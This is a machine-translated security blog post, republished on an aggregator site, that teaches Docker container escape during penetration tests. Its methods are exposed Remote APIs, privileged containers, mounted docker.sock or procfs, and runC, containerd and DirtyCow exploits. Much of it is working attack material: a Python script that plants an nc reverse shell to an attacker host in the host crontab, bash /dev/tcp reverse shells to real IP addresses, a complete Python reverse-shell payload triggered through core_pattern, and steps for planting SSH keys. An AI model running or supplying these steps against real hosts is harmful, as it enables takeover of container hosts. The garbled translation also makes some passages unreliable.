当前位置:网站首页>An article takes you to learn container escape
An article takes you to learn container escape
2022-06-26 23:26:00 【st3pby】
Technical communication
Pay attention to WeChat public number Z20 Security team , reply Add group , Pull you into the group Discuss technology together .
The official account is copied. , The layout may be a bit messy , You can go to the official account .
Preface
Docker The scenario of escape in penetration testing is probably like this , Infiltrate to get shell after , Found that the host is docker Environmental Science , To further penetrate , You have to escape to “ Direct host ”. There are even physical machines running virtual machines , Virtual machine running Docker The condition of the container . There's a virtual machine to escape . This paper records Docker Key technologies related to escape .
How to determine whether the current machine is Docker Container environment
Metasploit Medium checkcontainer modular 、( Determine whether it is a virtual machine ,checkvm modular )
The module actually performs the following operations :Check whether the root directory exists
.dockerenv
filels -la
Check
/proc/1/cgroup
Whether there is any containing docker character stringcat /proc/1/cgroup
Check for presence container environment variable
adoptenv
\PATH
To check for docker Related environment variables , To further judge .env env $PATH set
Other detection methods
Such as testing mount、fdisk -l List all partitions 、 Judge PID 1 Can also be used to assist in judging .
Docker The way to escape
docker The architecture is as follows , Among them, for ordinary users , The most familiar is the outermost docker client and docker daemon, One is docker Command line tools , The other is dockerd Background processes .Docker Client By command line and Docker Damon signal communication .containerd Then for docker and run A communication
Dangerous configuration leads to Docker The escape
because " Defense in depth " and " Minimum permissions " And other concepts and principles , It is increasingly difficult to exploit vulnerabilities directly . On the other hand , Open loopholes , The safety operation and maintenance personnel can repair it in time , Of course , It is inevitable that there is a fish that has slipped through the net . contrary , More use of the wrong 、 Use dangerous configurations , Not only Docker The escape , Other vulnerabilities are also , For example, the production environment is turned on Debug Patterns lead to exploits and so on .
Docker The container runtime has been Capabilities The blacklist mechanism is changed to today's default to prohibit all Capabilities, Then give the container the minimum permission required for operation in the form of white list
Docker Remote API Unauthorized access
Vulnerability description :
docker remote api It can be executed docker command ,docker The daemons are listening in 0.0.0.0, Directly callable API To operate docker.
adopt docker daemon api perform docker command :
# List container information , Effect and docker ps Agreement .
curl http://<target>:2375/containers/json
# Start the container
docker -H tcp://<target>:2375 ps -a
Use the scene :
By scanning the host port , Found to have 2375 Port open , Can execute any docker command . We can , Run a container on the host , Then mount the root directory of the host to docker Of /mnt Under the table of contents , You can read and write the files of the host computer in the container at will . We can write commands to crontab The configuration file , Bounce back shell.
Exploit :
Vulhub Provides a recurrence environment for this vulnerability .
Utilization method 1
The use method is , We start a container at will , And will host the /etc The directory is mounted in the container , You can read and write files at will . We can write commands to crontab The configuration file , Bounce back shell.
Here's a ready-made exp:
import docker
client = docker.DockerClient(base_url='http://victim-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc attacker-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
( Other rebound shell The form of is the same )
Utilization method 2
Start one at random docker, The mount point is set to the root directory of the server /mnt Under the table of contents .
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
Execute command in container , Will bounce shell The script is written to /var/spool/cron/root
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
Local listening port , Get the other host shell.
Utilization method 3
Github Upper exp:https://github.com/Tycx2ry/docker_api_vul
Docker High risk start parameters -- privileged Start the container in privileged mode
Privilege mode escape is the simplest and most effective escape method , When using a container started in privileged mode ,docker Administrators can access mount Command to mount the external host disk device into the container , Access to the entire host file read and write permissions , Directly through chroot Switch root 、 Write ssh Public key and crontab Plan any other getshell.
When the operator performs docker run --privileged when ,Docker The container will be allowed access to all devices on the host , At the same time to modify AppArmor or SELinux Configuration of , Make the container have almost the same access rights as those processes running directly on the host .
Judgment method :
Container from privileged mode , The actual combat can pass cat /proc/self/status |grep Cap
Command to determine whether the current container starts in privileged mode (CapEff: 000000xfffffffff Stands for the privilege mode )
Utilization method :
Privileged mode starts a Ubuntu Containers :
sudo docker run -itd --privileged ubuntu:latest /bin/bash
Into the container :
Use fdisk -l
Command to view disk files :
fdisk -l Command to view that the host device is /dev/sda5( Usually the biggest one ), adopt mount The command mounts the host root directory into the container
In privileged mode , There are many ways to escape , such as : Mount the host disk directly inside the container , Then switch the root directory .
Create a new directory :mkdir /test
Mount the disk to the new directory :mount /dev/sda5 /test
Switch root :chroot /test
I've managed to escape here , Then there is the conventional rebound shell and Write SSH 了 ( and redis Unauthorized almost ).
Write plans and tasks , Rebound host Shell:
echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root
If you want to write SSH Words , need To mount the host root Directory to container :
docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys
then ssh Private key login .
The other parameters :
Docker adopt Linux namespace Realization 6 Item resource isolation , Include host name 、 User permissions 、 file system 、 The Internet 、 Process number 、 Interprocess communication . But some of the startup parameters give the container more permissions , Thus breaking the boundaries of resource isolation .
--cap-add=SYS_ADMIN Startup time , Allow to execute mount Privileged operation , You need to get a resource mount to use .--net=host Startup time , Bypass Network Namespace --pid=host Startup time , Bypass PID Namespace --ipc=host Startup time , Bypass IPC Namespace
Dangerous mount Docker The escape
Mount sensitive Directory (-v /:/soft)
Vulnerability testing :
The host machine root The directory is mounted to the container
docker run -itd -v /root:/root ubuntu:18.04 /bin/bash
Simulate the attacker to write ssh secret key
mkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys
Login successfully with private key . Get host permissions .
mount Docker Socket(docker.sock)
The user will host
/var/run/docker.sock
The file is mounted in the container , The purpose is to be able to operate in the container docker.
summary :
Docker use C/S framework , We usually use Docker In command ,docker That is to say client,Server The role of the end consists of docker daemon Play the role , The communication modes between the two are as follows 3 Kind of :
unix:///var/run/docker.sock( Default tcp://host:portfd://socketfd
Docker Socket yes Docker The daemon listens Unix Domain socket , Used to communicate with daemons —— Query information or issue commands .
Judgment method :
In actual combat, we passed find command , You can find something like docker.sock And other high-risk directories and files
Equivalent to the docker The host computer can be executed in the docker command , In this case , We opened a new container , Mount the root directory of the host , You can escape
Reappear :
1、 First create a container and mount /var/run/docker.sock:
docker run -itd -v /var/run/docker.sock:/var/run/docker.sock ubuntu
2、 Install... In the container Docker Command line client :
Installation method 1 :
apt-updateapt-get install \apt-transport-https \ca-certificates \curl \gnupg-agent \software-properties-commoncurl -fsSL https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/gpg | apt-key add -apt-key fingerprint 0EBFCD88add-apt-repository \"deb [arch=amd64] https://mirrors.ustc.edu.cn/docker-ce/linux/ubuntu/ \$(lsb_release -cs) \stable"apt-get updateapt-get install docker-ce docker-ce-cli containerd.io
Installation method II :
cat /etc/os-release
View the current linux Hairstyle version , Ready to install docker client , Convenient operation docker
visit https://download.docker.com/linux/debian/dists/, Select specific branches according to the , Go to https://download.docker.com/linux/debian/dists/xxxxxx/pool/stable/amd64/ download .deb Installation file at the end
The advantage of installing in this way is that there are usually many basic components missing in the container , If you pass apt-get Installation measurement 20 You can't finish it in minutes
3、 Then use the client through Docker Socket And Docker Daemon communication , Send a command to create and run a new container , Mount the root directory of the host into the newly created container :
docker run -it -v /:/host ubuntu:latest /bin/bash
4、 Execute... In a new container chroot Switch the root directory to the root directory of the mounted host :
chroot /host
You can successfully escape to the host computer .
Mount host procfs
utilize procfs By writing /proc/sys/kernel/core_pattern To escape , The trigger conditions are harsh , It takes a process crash to trigger
docker run -itd -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu ( In order to distinguish between , Attached to the container /host/ Under the table of contents
procfs It's a pseudo file system , It dynamically reflects the status of processes and other components in the system , There are many very sensitive and important documents . therefore , Will host the procfs It is also very dangerous to mount in uncontrolled containers , In particular, it is enabled by default in this container root jurisdiction , And it's not turned on User Namespace when
from 2.6.19 The kernel version starts ,Linux Support in /proc/sys/kernel/core_pattern Use the new syntax . If the first character in the file is a pipe character |, Then the rest of the line will be interpreted and executed as a user space program or script .
Docker Containers are not opened by default User Namespace
In general, the host computer will not be procfs Mount in container , However, some businesses in order to achieve some special needs , There will still be .
Judgment method :
In actual combat, we passed find command , You can find something like core_pattern
、/proc/sys/kernel/core_pattern
And other high-risk directories and files
Reappear :
“ It's mounting procfs Use... In a container core_pattern Escape through the back door “
Use ideas :
The attacker entered the host where the host was mounted profs The container of ,root jurisdiction , Then report to the host computer procfs Write Payload
1、 Create a rebound inside the container Shell Of Exp,/tmp/.x.py (. To hide files
apt-get updateapt-get install vimapt-get install gcc ( Used to compile a program that can crash , These common tools are generally not brought with you in a container environment , Include ping And so on. .
#.x.pyimport osimport ptyimport socketlhost = "attacker-ip"lport = 10000def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", "/dev/null") pty.spawn("/bin/bash") os.remove("/tmp/.x.py") s.close()if __name__ == "__main__": main()
2、 write in core_pattern
echo -e "|/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
Execute the above command , And then run '3' After the crash program , No rebound was received shell,
This is because Linux Dump mechanism for /proc/sys/kernel/core_pattern The search of internal programs is carried out in the host file system , And ours /tmp/.x.py Is the path inside the container .
Follow these steps :
stay Docker Running in the container cat /proc/mounts | grep docker
Get the absolute path of the current container on the host .
Return as follows :
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/TDUPJY7LZWCBS33AOAEL32VYWZ:/var/lib/docker/overlay2/l/UDBKLTSYHMCC4J7DLMAK3JUMT2:/var/lib/docker/overlay2/l/ULFSCIS7UXEVHUTW5KPOWLQOK6:/var/lib/docker/overlay2/l/YQDQOJ3EJ3KELBHK5PFFUJ7RVT,upperdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/diff,workdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/work 0 0
Get... From the returned content :
workdir=/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/work
Write the previous to Payload Change your command to :
echo -e "|/var/lib/docker/overlay2/edbf849399cdbcd1d74d7e112b0d548e60e0e90754e3126f8b533ab395bf1dfb/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
thus ,Linux When the program crashes, the dump mechanism can successfully find our... Inside the container /tmp/.x.py 了 .
3、 Run a program that can crash in the container
//test.cint main(void) {int *a = NULL;*a = 1;return 0;}
gcc test.c
After performing , You can receive the rebound shell
Program vulnerabilities lead to Docker The escape
Shocker attack
Vulnerability description : from Docker The container escapes and reads the contents of a file in a directory of the host .Shocker The key to the attack is the execution of system calls open_by_handle_at function ,Linux The manual specifically mentions calling open_by_handle_at The function needs to have CAP_DAC_READ_SEARCH Ability , and Docker1.0 Version pair Capability Use blacklist management policy , And there's no limit CAP_DAC_READ_SEARCH Ability , This raises the risk of container escape .
Vulnerability impact version :Docker edition < 1.0, Exist in Docker 1.0 Most of the previous versions
( The real environment basically won't exist )
github Project address :gabrtv/shocker: Shocker / Docker Breakout PoC (github.com)
runC Container escape vulnerability (CVE-2019-5736)
Vulnerability description :
Docker 18.09.2 Previous versions used runc Version less than 1.0-rc6, Therefore, an attacker is allowed to override the host's runc Binary , Attackers can use root Identity execution command .
Use conditions :
Docker edition < 18.09.2,runc edition < 1.0-rc6, In general , It can be done by docker and docker -version Check the current version .
Use steps :
1、 download poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
2、 modify Payload
vi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/12345 0>&1"
3、 Compile the generated payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
4、 In actual combat, you can curl Download... Etc , Use it directly here docker cp Put in container
sudo docker cp ./main 248f8b7d3c45:/tmp
5、 Execute in container payload
# Modify the permissions chmod 777 main# perform Payload./main
6、 stay 192.168.172.136 Listen to the local port on , Successfully get the host to bounce back shell:
Docker cp Command container escape attack vulnerability CVE-2019-14271
Vulnerability description :
When Docker Host use cp On command , Will call the helper process docker-tar, The process is not containerized , And it will dynamically load some libnss.so library . Hackers can replace libnss.so Such as the library , Inject code into docker-tar in . When Docker When a user attempts to copy a file from a container, malicious code will be executed , Successful implementation Docker The escape , Get host root jurisdiction .
Affects version :
Docker 19.03.0
CVE-2020-15257
Use conditions :
containerd It's a control runC Daemons of , Provides command-line clients and API
stay Containerd 1.3.9 Before the release and 1.4.0~1.4.2 edition ( adopt dockers version Inquire about ), Used --host Network mode , Can cause containerd-shim API expose , By calling API Function to realize escape .
Judgment method :
# Judge whether to use host Pattern cat /proc/net/unix | grep 'containerd-shim'
Utilization method :
After the above judgment , After there are loopholes .
1、 from https://github.com/cdk-team/CDK/releases Download the executable file of the corresponding architecture , Upload to the container and save
Upload method :
2、 Use
Can bounce back shell, You can also execute commands reverse shell./cdk run shim-pwn reverse <RHOST> <RPORT>execute command./cdk run shim-pwn "<shell_cmd>"
Kernel vulnerabilities lead to Docker The escape
DirtyCow(CVE-2016-5195) Dirty cow vulnerability implementation Docker The escape
Docker And Host shared kernel , So the container needs to exist dirtyCow In the host of the vulnerability
Vulnerability profile Statement :
Dirty Cow(CVE-2016-5195) yes Linux Privilege escalation vulnerability in the kernel , Through it can be realized Docker Vessel escape , get root The powers of the shell.
Vulnerability testing :
1、 Environmental preparation :
docker Sharing the kernel with the host , So we need to exist dirtyCow Host image of the vulnerability .
here , We use ubuntu-14.04.5 To reproduce .
2、 Test container download and run :
git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose run dirtycow /bin/bash
3、 Into the container , compile POC And implement :
cd /dirtycow-vdso/make./0xdeadbeef 192.168.111.129:1234
4、 stay 192.168.111.129 Listen to the local port , Successfully received host bounce shell.
Technical communication
Communication group
Pay attention to the reply of the official account “ Add group ”, add to Z2OBot Small K Automatically pull you to join Z2O Security attack and defense communication group Share more good things .
边栏推荐
- Implement the queue through two stacks
- leetcode 1143. Longest common subsequence (medium)
- Your connection is not private
- Color matching and related issues
- 电子协会 C语言 1级 29 、 对齐输出
- Learun low code OA system construction platform
- Openpyxl module
- 为什么我不推荐去SAP培训机构参加培训?
- Service discovery, storage engine and static website of go language
- 您的连接不是私密连接
猜你喜欢
邮箱附件钓鱼常用技法
WP collection plug-in tutorial no thanks for WordPress collection of rules
为什么EDR需要深度防御来打击勒索软件?
[test] the content of the hottest test development learning route has been updated again to help pass the customs and open the test of large factories
客户端实现client.go客户端类型定义连接
Typera set title auto numbering
300题 第三讲 向量组
[微服務]認識微服務
typora设置标题自动编号
Weaving dream collection plug-ins are recommended to be free collection plug-ins
随机推荐
Flashtext, a data cleaning tool, has directly increased the efficiency by dozens of times
Open world mecha games phantom Galaxy
Design of master-slave replication system
Alibaba cloud server purchase, basic configuration, (xshell) remote connection and environment building
Is the low commission free account opening channel safe?
Is it safe to open an account and speculate in stocks on the mobile phone? Is it safe to open an account and speculate in stocks on the Internet
【界面】pyqt5和Swin Transformer对人脸进行识别
[mixed programming JNI] Part 12 jnaerator
Cvpr2022 stereo matching of asymmetric resolution images
Why does EDR need defense in depth to combat ransomware?
Is it safe to open an account on the mobile phone to buy stocks? Is it safe to open an account on the Internet to speculate in stocks
Unity4.6版本下载
电子协会 C语言 1级 29 、 对齐输出
用户在hander()goroutine,添加定时器功能,超时则强踢出
软件工程导论——第四章——形式化说明技术
Operator介紹
数据清洗工具flashtext,效率直接提升了几十倍数
[microservices] Understanding microservices
Is it reliable to open an account for stock trading on the mobile phone? Is it safe to open an account for stock trading on the Internet
leetcode - 买卖股票的最佳时机